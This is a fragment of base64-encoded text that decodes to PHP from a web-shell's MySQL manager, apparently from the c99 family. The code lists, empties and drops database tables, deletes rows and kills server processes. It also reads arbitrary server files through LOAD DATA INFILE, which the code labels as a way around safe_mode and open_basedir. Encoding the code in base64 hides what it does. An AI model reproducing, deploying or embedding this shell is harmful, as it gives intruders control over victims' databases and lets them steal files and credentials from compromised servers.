ICAgZWxzZSB7ZWNobyAiJm5ic3A7Ijt9CiAgICAgIH0KICAgICAgaWYgKCRpID09IDApIHtlY2hvICJl bXB0eSI7fQogICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRl blwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1c InNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlw ZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygk c3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZh bHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRk ZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2Vy dmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIu aHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9 XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQg dHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfb3JkZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX29yZGVyKS4iXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFt ZT1cInNxbF90YmxfbHNcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbHMuIlwiPiZuYnNwOzxiPlRvOjwvYj4m bmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sZVwiIHZhbHVlPVwiIi4kc3Fs X3RibF9sZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlZpZXdcIj48L2Zv cm0+IjsKICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNp bmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0Nv bG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7CiAgICAgIGVjaG8g Ijx0cj4iOwogICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hy b3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD4iOwogICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2Zp ZWxkcygkcmVzdWx0KTskaSsrKQogICAgICB7CiAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJl c3VsdCwkaSk7CiAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQog ICAgICAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICAgICAgIGVjaG8gIjx0ZD4iOwogICAg ICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30KICAgICAgIGlmICgkZVsxXSAhPSAkdikg e2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLiRzcWxfdGJsLiImc3FsX3RibF9s ZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX29yZGVyPSIuJGVb MF0uIiUyMCIuJHYuIlwiPjxiPiIuJHYuIjwvYj48L2E+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj4i LiR2LiI8L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJs X2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4k cy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0XyIuJG0uIlwi IGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4kbS4iXCI+PC9hPiI7fQogICAgICAgZWNo byAiPC90ZD4iOwogICAgICB9CiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cImdyZWVuXCI+PGI+ QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7CiAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgd2hpbGUgKCRy b3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpCiAgICAgIHsKICAgICAg IGVjaG8gIjx0cj4iOwogICAgICAgJHcgPSAiIjsKICAgICAgICRpID0gMDsKICAgICAgIGZvcmVhY2gg KCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAu PSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9CiAgICAgICBp ZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30KICAgICAg IGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9 XCIiLiR3LiJcIj48L3RkPiI7CiAgICAgICAkaSA9IDA7CiAgICAgICBmb3JlYWNoICgkcm93IGFzICRr PT4kdikKICAgICAgIHsKICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwogICAgICAgIGlm ICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQogICAg ICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVj aG8gIjx0ZD4iOwogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5 JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiIm c3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3F1ZXJ5PSIudXJsZW5jb2RlKCJERUxFVEUgRlJP

TSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHcuIiBMSU1JVCAxOyIpLiJcIj48aW1nIHNyYz1cIiIuJHN1 cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRlbGV0ZVwiIGhlaWdodD1cIjEz XCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsKICAgICAgIGVjaG8gIjxhIGhy ZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNx bF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xl LiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4i YWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiRWRpdFwiIGhlaWdodD1cIjE0XCIgd2lkdGg9XCIxNFwi IGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7IjsKICAgICAgIGVjaG8gIjwvdGQ+IjsKICAgICAgIGVjaG8g IjwvdHI+IjsKICAgICAgfQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgZWNo byAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPjxpbWcgc3Jj PVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPjxzZWxlY3QgbmFt ZT1cInNxbF9hY3RcIj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3Rl ZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRl PC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRc IiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgfQogICAgfQogICAgZWxzZQogICAg ewogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2sp OwogICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgICBlbHNlCiAg ICAgewogICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2lu Zz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdD b2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxpbnB1 dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsX2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+PHRk PjxjZW50ZXI+PGI+VGFibGU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGI+Um93czwvYj48L3RkPjx0ZD48 Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkNyZWF0ZWQ8L2I+PC90ZD48dGQ+PGI+TW9kaWZpZWQ8L2I+PC90 ZD48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7CiAgICAgIAog ICAgICAkaSA9IDA7CiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7CiAgICAgIHdoaWxlICgkcm93ID0g bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQogICAgICB7CiAgICAgICAkdHNp emUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsKICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07CiAg ICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsKICAgICAgIGVjaG8gIjx0 cj4iOwogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJs W11cIiB2YWx1ZT1cIiIuJHJvd1siTmFtZSJdLiJcIj48L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Jm5i c3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRyb3dbIk5hbWUiXSku IlwiPjxiPiIuJHJvd1siTmFtZSJdLiI8L2I+PC9hPiZuYnNwOzwvdGQ+IjsKICAgICAgIGVjaG8gIjx0 ZD4iLiRyb3dbIlJvd3MiXS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8 L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+Ii4kcm93WyJDcmVhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAg ICBlY2hvICI8dGQ+Ii4kcm93WyJVcGRhdGVfdGltZSJdLiI8L3RkPiI7CiAgICAgICBlY2hvICI8dGQ+ Ii4kc2l6ZS4iPC90ZD4iOwogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3Vy bC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRyb3db Ik5hbWUiXS4iYCIpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25f ZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBc Ij48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9x dWVyeT0iLnVybGVuY29kZSgiRFJPUCBUQUJMRSBgIi4kcm93WyJOYW1lIl0uImAiKS4iXCI+PGltZyBz cmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zcWxfYnV0dG9uX2Ryb3BcIiBhbHQ9XCJEcm9wXCIgaGVp Z2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4k c3FsX3N1cmwuInNxbF90YmxfYWN0PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1n IHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNxbF9idXR0b25faW5zZXJ0XCIgYWx0PVwiSW5zZXJ0 XCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8L3RkPiI7 CiAgICAgICBlY2hvICI8L3RyPiI7CiAgICAgICAkaSsrOwogICAgICB9CiAgICAgIGVjaG8gIjx0ciBi Z2NvbG9yPVwiMDAwMDAwXCI+IjsKICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+wrs8L2I+PC9jZW50 ZXI+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9j ZW50ZXI+PC90ZD4iOwogICAgICBlY2hvICI8dGQ+PGI+Ii4kdHJvd3MuIjwvYj48L3RkPiI7CiAgICAg IGVjaG8gIjx0ZD4iLiRyb3dbMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwv dGQ+IjsKICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMV0uIjwvdGQ+IjsKICAgICAgZWNobyAiPHRkPjxi PiIudmlld19zaXplKCR0c2l6ZSkuIjwvYj48L3RkPiI7CiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7CiAg ICAgIGVjaG8gIjwvdHI+IjsKICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRl PjxwIGFsaWduPVwicmlnaHRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0 clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfYWN0XCI+IjsKICAgICAgZWNobyAiPG9w dGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlv biB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1 ZT1cInRibGVtcHR5XCI+RW1wdHk8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwi dGJsZHVtcFwiPkR1bXA8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hl

Y2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0Ymxv cHRpbWl6ZVwiPk9wdGltaXplIHRhYmxlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1 ZT1cInRibHJlcGFpclwiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24g dmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjwv c2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3Jt PjwvcD4iOwogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICB9CiAgICB9CiAgIH0K ICAgfQogIH0KICBlbHNlCiAgewogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1 cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7CiAgIGlmIChpbl9hcnJheSgkc3Fs X2FjdCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0 cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9ybSBhY3Rp b249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZh bHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXdkYiI+ PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1s c3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3Fs X3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+ Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBo dG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9 InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+ Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0 IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhl aWdodD0iMSI+PGI+VmlldyBGaWxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+ Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJo aWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJnZXRmaWxlIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBu YW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dp bik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAg ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4i IG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9z ZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3Bo cCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu YW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hh cnMoJHNxbF9nZXRmaWxlKTsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQi PjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdp ZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0 ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwIH0KICAgaWYgKCFl bXB0eSgkc3FsX2FjdCkpCiAgIHsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAg IGlmICgkc3FsX2FjdCA9PSAibmV3ZGIiKQogICAgewogICAgIGVjaG8gIjxiPiI7CiAgICAgaWYgKCht eXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hv ICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3 aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIi Lmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3Nt YXJ0ZXJyb3IoKTt9CiAgICB9CiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnN0YXR1cyIpCiAgICB7 CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAg ZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAg IGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdDb2xvcj0jMzMzMzMzIGJv cmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5W YWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRy ZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93 WzFdLiI8L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOwogICAgIG15c3Fs X2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJ2YXJz IikKICAgIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9z b2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsK ICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnQ29sb3I9IzMzMzMz MyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+ PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJh eSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIu JHJvd1sxXS4iPC90ZD48L3RyPiI7fQogICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICBteXNxbF9mcmVl X3Jlc3VsdCgkcmVzdWx0KTsKICAgIH0KICAgIGlmICgkc3FsX2FjdCA9PSAicHJvY2Vzc2VzIikKICAg IHsKICAgICBpZiAoIWVtcHR5KCRraWxsKSkgeyRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOyAkcmVz dWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOyBlY2hvICI8Yj5LaWxsaW5nIHByb2Nl c3MgIyIuJGtpbGwuIi4uLiBvay4gaGUgaXMgZGVhZCwgYW1lbi48L2I+Ijt9CiAgICAgJHJlc3VsdCA9

IG15c3FsX3F1ZXJ5KCJTSE9XIFBST0NFU1NMSVNUIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2Vu dGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2lu Zz0wIGNlbGxQYWRkaW5nPTIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBi b3JkZXI9MT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9i PjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwv Yj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlv bjwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1 bHQsIE1ZU1FMX05VTSkpIHsgZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sx XS4iPC90ZD48dGQ+Ii4kcm93WzJdLiI8L3RkPjx0ZD4iLiRyb3dbM10uIjwvdGQ+PHRkPiIuJHJvd1s0 XS4iPC90ZD48dGQ+Ii4kcm93WzVdLiI8L3RkPjx0ZD4iLiRyb3dbNl0uIjwvdGQ+PHRkPiIuJHJvd1s3 XS4iPC90ZD48dGQ+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXByb2Nlc3NlcyZraWxsPSIu JHJvd1swXS4iXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7fQogICAgIGVjaG8gIjwvdGFibGU+ IjsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgIH0KICAgIGlmICgkc3FsX2FjdCA9 PSAiZ2V0ZmlsZSIpCiAgICB7CiAgICAgJHRtcGRiID0gJHNxbF9sb2dpbi4iX3RtcGRiIjsKICAgICAk c2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7CiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxf Y3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0 ZWQgPSAhISRzZWxlY3Q7fQogICAgIGlmICgkc2VsZWN0KQogICAgIHsKICAgICAgJGNyZWF0ZWQgPSBG QUxTRTsKICAgICAgbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgdG1wX2ZpbGVgICggYFZpZXdpbmcg dGhlIGZpbGUgaW4gc2FmZV9tb2RlK29wZW5fYmFzZWRpcmAgTE9OR0JMT0IgTk9UIE5VTEwgKTsiKTsK ICAgICAgbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRm aWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOwogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnko IlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7CiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gIjxiPkVy cm9yIGluIHJlYWRpbmcgZmlsZSAocGVybWlzaW9uIGRlbmllZCkhPC9iPiI7fQogICAgICBlbHNlCiAg ICAgIHsKICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHsk bmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fQogICAgICAgJGYgPSAiIjsKICAgICAg IHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7JGYg 